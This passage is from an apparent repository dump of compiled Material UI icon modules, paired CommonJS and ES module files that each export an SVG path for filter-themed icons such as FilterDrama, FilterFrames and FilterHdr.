    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 15H3v6h6v-2H5zM5 5h4V3H3v6h2zm16-2h-6v2h4v4h2zm-2 16h-4v2h6v-6h-2zM12 9c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3\"\n}), 'FilterCenterFocusSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FilterCenterFocusTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 5h4V3H5c-1.1 0-2 .9-2 2v4h2zm7 4c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3m7-6h-4v2h4v4h2V5c0-1.1-.9-2-2-2m0 16h-4v2h4c1.1 0 2-.9 2-2v-4h-2zM5 15H3v4c0 1.1.9 2 2 2h4v-2H5z\"\n}), 'FilterCenterFocusTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FilterCenterFocusTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 5h4V3H5c-1.1 0-2 .9-2 2v4h2zm7 4c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3m7-6h-4v2h4v4h2V5c0-1.1-.9-2-2-2m0 16h-4v2h4c1.1 0 2-.9 2-2v-4h-2zM5 15H3v4c0 1.1.9 2 2 2h4v-2H5z\"\n}), 'FilterCenterFocusTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FilterDrama.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19.35 10.04C18.67 6.59 15.64 4 12 4 9.11 4 6.61 5.64 5.36 8.04 2.35 8.36 0 10.9 0 14c0 3.31 2.69 6 6 6h13c2.76 0 5-2.24 5-5 0-2.64-2.05-4.78-4.65-4.96M19 18H6c-2.21 0-4-1.79-4-4s1.79-4 4-4 4 1.79 4 4h2c0-2.76-1.86-5.08-4.4-5.78C8.61 6.88 10.2 6 12 6c3.03 0 5.5 2.47 5.5 5.5v.5H19c1.65 0 3 1.35 3 3s-1.35 3-3 3\"\n}), 'FilterDrama');"
  },
  {
    "path": "packages/mui-icons-material/lib/FilterDrama.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19.35 10.04C18.67 6.59 15.64 4 12 4 9.11 4 6.61 5.64 5.36 8.04 2.35 8.36 0 10.9 0 14c0 3.31 2.69 6 6 6h13c2.76 0 5-2.24 5-5 0-2.64-2.05-4.78-4.65-4.96M19 18H6c-2.21 0-4-1.79-4-4s1.79-4 4-4 4 1.79 4 4h2c0-2.76-1.86-5.08-4.4-5.78C8.61 6.88 10.2 6 12 6c3.03 0 5.5 2.47 5.5 5.5v.5H19c1.65 0 3 1.35 3 3s-1.35 3-3 3\"\n}), 'FilterDrama');"
  },
  {
    "path": "packages/mui-icons-material/lib/FilterDramaOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19.35 10.04C18.67 6.59 15.64 4 12 4 9.11 4 6.61 5.64 5.36 8.04 2.35 8.36 0 10.9 0 14c0 3.31 2.69 6 6 6h13c2.76 0 5-2.24 5-5 0-2.64-2.05-4.78-4.65-4.96M19 18H6c-2.21 0-4-1.79-4-4s1.79-4 4-4 4 1.79 4 4h2c0-2.76-1.86-5.08-4.4-5.78C8.61 6.88 10.2 6 12 6c3.03 0 5.5 2.47 5.5 5.5v.5H19c1.65 0 3 1.35 3 3s-1.35 3-3 3\"\n}), 'FilterDramaOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FilterDramaOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19.35 10.04C18.67 6.59 15.64 4 12 4 9.11 4 6.61 5.64 5.36 8.04 2.35 8.36 0 10.9 0 14c0 3.31 2.69 6 6 6h13c2.76 0 5-2.24 5-5 0-2.64-2.05-4.78-4.65-4.96M19 18H6c-2.21 0-4-1.79-4-4s1.79-4 4-4 4 1.79 4 4h2c0-2.76-1.86-5.08-4.4-5.78C8.61 6.88 10.2 6 12 6c3.03 0 5.5 2.47 5.5 5.5v.5H19c1.65 0 3 1.35 3 3s-1.35 3-3 3\"\n}), 'FilterDramaOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FilterDramaRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19.35 10.04C18.67 6.59 15.64 4 12 4 9.11 4 6.61 5.64 5.36 8.04 2.35 8.36 0 10.9 0 14c0 3.31 2.69 6 6 6h13c2.76 0 5-2.24 5-5 0-2.64-2.05-4.78-4.65-4.96M19 18H6.17c-2.09 0-3.95-1.53-4.15-3.61C1.79 12.01 3.66 10 6 10c1.92 0 3.53 1.36 3.91 3.17.1.48.5.83.98.83.61 0 1.11-.55.99-1.15-.43-2.24-2.11-4.03-4.29-4.63 1.1-1.46 2.89-2.37 4.89-2.2 2.88.25 5.01 2.82 5.01 5.71V12h1.37c1.45 0 2.79.97 3.07 2.4.39 1.91-1.08 3.6-2.93 3.6\"\n}), 'FilterDramaRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FilterDramaRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19.35 10.04C18.67 6.59 15.64 4 12 4 9.11 4 6.61 5.64 5.36 8.04 2.35 8.36 0 10.9 0 14c0 3.31 2.69 6 6 6h13c2.76 0 5-2.24 5-5 0-2.64-2.05-4.78-4.65-4.96M19 18H6.17c-2.09 0-3.95-1.53-4.15-3.61C1.79 12.01 3.66 10 6 10c1.92 0 3.53 1.36 3.91 3.17.1.48.5.83.98.83.61 0 1.11-.55.99-1.15-.43-2.24-2.11-4.03-4.29-4.63 1.1-1.46 2.89-2.37 4.89-2.2 2.88.25 5.01 2.82 5.01 5.71V12h1.37c1.45 0 2.79.97 3.07 2.4.39 1.91-1.08 3.6-2.93 3.6\"\n}), 'FilterDramaRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FilterDramaSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19.35 10.04C18.67 6.59 15.64 4 12 4 9.11 4 6.61 5.64 5.36 8.04 2.35 8.36 0 10.9 0 14c0 3.31 2.69 6 6 6h13c2.76 0 5-2.24 5-5 0-2.64-2.05-4.78-4.65-4.96M19 18H6c-2.21 0-4-1.79-4-4s1.79-4 4-4 4 1.79 4 4h2c0-2.76-1.86-5.08-4.4-5.78C8.61 6.88 10.2 6 12 6c3.03 0 5.5 2.47 5.5 5.5v.5H19c1.65 0 3 1.35 3 3s-1.35 3-3 3\"\n}), 'FilterDramaSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FilterDramaSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19.35 10.04C18.67 6.59 15.64 4 12 4 9.11 4 6.61 5.64 5.36 8.04 2.35 8.36 0 10.9 0 14c0 3.31 2.69 6 6 6h13c2.76 0 5-2.24 5-5 0-2.64-2.05-4.78-4.65-4.96M19 18H6c-2.21 0-4-1.79-4-4s1.79-4 4-4 4 1.79 4 4h2c0-2.76-1.86-5.08-4.4-5.78C8.61 6.88 10.2 6 12 6c3.03 0 5.5 2.47 5.5 5.5v.5H19c1.65 0 3 1.35 3 3s-1.35 3-3 3\"\n}), 'FilterDramaSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FilterDramaTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 12h-1.5v-.5C17.5 8.47 15.03 6 12 6c-1.8 0-3.39.88-4.4 2.22 2.54.7 4.4 3.02 4.4 5.78h-2c0-2.21-1.79-4-4-4s-4 1.79-4 4 1.79 4 4 4h13c1.65 0 3-1.35 3-3s-1.35-3-3-3\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19.35 10.04C18.67 6.59 15.64 4 12 4 9.11 4 6.61 5.64 5.36 8.04 2.35 8.36 0 10.9 0 14c0 3.31 2.69 6 6 6h13c2.76 0 5-2.24 5-5 0-2.64-2.05-4.78-4.65-4.96M19 18H6c-2.21 0-4-1.79-4-4s1.79-4 4-4 4 1.79 4 4h2c0-2.76-1.86-5.08-4.4-5.78C8.61 6.88 10.2 6 12 6c3.03 0 5.5 2.47 5.5 5.5v.5H19c1.65 0 3 1.35 3 3s-1.35 3-3 3\"\n}, \"1\")], 'FilterDramaTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FilterDramaTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 12h-1.5v-.5C17.5 8.47 15.03 6 12 6c-1.8 0-3.39.88-4.4 2.22 2.54.7 4.4 3.02 4.4 5.78h-2c0-2.21-1.79-4-4-4s-4 1.79-4 4 1.79 4 4 4h13c1.65 0 3-1.35 3-3s-1.35-3-3-3\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19.35 10.04C18.67 6.59 15.64 4 12 4 9.11 4 6.61 5.64 5.36 8.04 2.35 8.36 0 10.9 0 14c0 3.31 2.69 6 6 6h13c2.76 0 5-2.24 5-5 0-2.64-2.05-4.78-4.65-4.96M19 18H6c-2.21 0-4-1.79-4-4s1.79-4 4-4 4 1.79 4 4h2c0-2.76-1.86-5.08-4.4-5.78C8.61 6.88 10.2 6 12 6c3.03 0 5.5 2.47 5.5 5.5v.5H19c1.65 0 3 1.35 3 3s-1.35 3-3 3\"\n}, \"1\")], 'FilterDramaTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FilterFrames.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 4h-4l-4-4-4 4H4c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2m0 16H4V6h4.52l3.52-3.5L15.52 6H20zM18 8H6v10h12\"\n}), 'FilterFrames');"
  },
  {
    "path": "packages/mui-icons-material/lib/FilterFrames.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 4h-4l-4-4-4 4H4c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2m0 16H4V6h4.52l3.52-3.5L15.52 6H20zM18 8H6v10h12\"\n}), 'FilterFrames');"
  },
  {
    "path": "packages/mui-icons-material/lib/FilterFramesOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 4h-4l-4-4-4 4H4c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2m0 16H4V6h4.52l3.52-3.5L15.52 6H20zM6 18h12V8H6zm2-8h8v6H8z\"\n}), 'FilterFramesOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FilterFramesOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 4h-4l-4-4-4 4H4c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2m0 16H4V6h4.52l3.52-3.5L15.52 6H20zM6 18h12V8H6zm2-8h8v6H8z\"\n}), 'FilterFramesOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FilterFramesRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 4h-4L12.71.71a.996.996 0 0 0-1.41 0L8 4H4c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2m-1 16H5c-.55 0-1-.45-1-1V7c0-.55.45-1 1-1h3.52l3.52-3.5L15.52 6H19c.55 0 1 .45 1 1v12c0 .55-.45 1-1 1M17 8H7c-.55 0-1 .45-1 1v8c0 .55.45 1 1 1h10c.55 0 1-.45 1-1V9c0-.55-.45-1-1-1\"\n}), 'FilterFramesRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FilterFramesRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 4h-4L12.71.71a.996.996 0 0 0-1.41 0L8 4H4c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2m-1 16H5c-.55 0-1-.45-1-1V7c0-.55.45-1 1-1h3.52l3.52-3.5L15.52 6H19c.55 0 1 .45 1 1v12c0 .55-.45 1-1 1M17 8H7c-.55 0-1 .45-1 1v8c0 .55.45 1 1 1h10c.55 0 1-.45 1-1V9c0-.55-.45-1-1-1\"\n}), 'FilterFramesRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FilterFramesSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 4h-6l-4-4-4 4H2v18h20zm-2 16H4V6h4.52l3.52-3.5L15.52 6H20zM18 8H6v10h12\"\n}), 'FilterFramesSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FilterFramesSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 4h-6l-4-4-4 4H2v18h20zm-2 16H4V6h4.52l3.52-3.5L15.52 6H20zM18 8H6v10h12\"\n}), 'FilterFramesSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FilterFramesTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8 10h8v6H8z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 4h-4l-4-4-4 4H4c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2m0 16H4V6h4.52l3.52-3.5L15.52 6H20zM6 18h12V8H6zm2-8h8v6H8z\"\n}, \"1\")], 'FilterFramesTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FilterFramesTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M8 10h8v6H8z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 4h-4l-4-4-4 4H4c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2m0 16H4V6h4.52l3.52-3.5L15.52 6H20zM6 18h12V8H6zm2-8h8v6H8z\"\n}, \"1\")], 'FilterFramesTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FilterHdr.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m14 6-3.75 5 2.85 3.8-1.6 1.2C9.81 13.75 7 10 7 10l-6 8h22z\"\n}), 'FilterHdr');"
  },
  {
    "path": "packages/mui-icons-material/lib/FilterHdr.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m14 6-3.75 5 2.85 3.8-1.6 1.2C9.81 13.75 7 10 7 10l-6 8h22z\"\n}), 'FilterHdr');"
  },
  {
    "path": "packages/mui-icons-material/lib/FilterHdrOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m14 6-4.22 5.63 1.25 1.67L14 9.33 19 16h-8.46l-4.01-5.37L1 18h22zM5 16l1.52-2.03L8.04 16z\"\n}), 'FilterHdrOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FilterHdrOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m14 6-4.22 5.63 1.25 1.67L14 9.33 19 16h-8.46l-4.01-5.37L1 18h22zM5 16l1.52-2.03L8.04 16z\"\n}), 'FilterHdrOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FilterHdrRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13.2 7.07 10.25 11l2.25 3c.33.44.24 1.07-.2 1.4s-1.07.25-1.4-.2c-1.05-1.4-2.31-3.07-3.1-4.14-.4-.53-1.2-.53-1.6 0l-4 5.33c-.49.67-.02 1.61.8 1.61h18c.82 0 1.29-.94.8-1.6l-7-9.33c-.4-.54-1.2-.54-1.6 0\"\n}), 'FilterHdrRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FilterHdrRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13.2 7.07 10.25 11l2.25 3c.33.44.24 1.07-.2 1.4s-1.07.25-1.4-.2c-1.05-1.4-2.31-3.07-3.1-4.14-.4-.53-1.2-.53-1.6 0l-4 5.33c-.49.67-.02 1.61.8 1.61h18c.82 0 1.29-.94.8-1.6l-7-9.33c-.4-.54-1.2-.54-1.6 0\"\n}), 'FilterHdrRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FilterHdrSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m14 6-3.75 5 2.85 3.8-1.6 1.2C9.81 13.75 7 10 7 10l-6 8h22z\"\n}), 'FilterHdrSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FilterHdrSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m14 6-3.75 5 2.85 3.8-1.6 1.2C9.81 13.75 7 10 7 10l-6 8h22z\"\n}), 'FilterHdrSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FilterHdrTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 16h3.04l-1.52-2.03z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m9.78 11.63 1.25 1.67L14 9.33 19 16h-8.46l-4.01-5.37L1 18h22L14 6zM5 16l1.52-2.03L8.04 16z\"\n}, \"1\")], 'FilterHdrTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FilterHdrTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 16h3.04l-1.52-2.03z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m9.78 11.63 1.25 1.67L14 9.33 19 16h-8.46l-4.01-5.37L1 18h22L14 6zM5 16l1.52-2.03L8.04 16z\"\n}, \"1\")], 'FilterHdrTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FilterList.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10 18h4v-2h-4zM3 6v2h18V6zm3 7h12v-2H6z\"\n}), 'FilterList');"
  },
  {
    "path": "packages/mui-icons-material/lib/FilterList.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10 18h4v-2h-4zM3 6v2h18V6zm3 7h12v-2H6z\"\n}), 'FilterList');"
  },
  {
    "path": "packages/mui-icons-material/lib/FilterListAlt.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4.25 5.66c.1.13 5.74 7.33 5.74 7.33V19c0 .55.45 1 1.01 1h2.01c.55 0 1.01-.45 1.01-1v-6.02s5.49-7.02 5.75-7.34S20 5 20 5c0-.55-.45-1-1.01-1H5.01C4.4 4 4 4.48 4 5c0 .2.06.44.25.66\"\n}), 'FilterListAlt');"
  },
  {
    "path": "packages/mui-icons-material/lib/FilterListAlt.mjs",
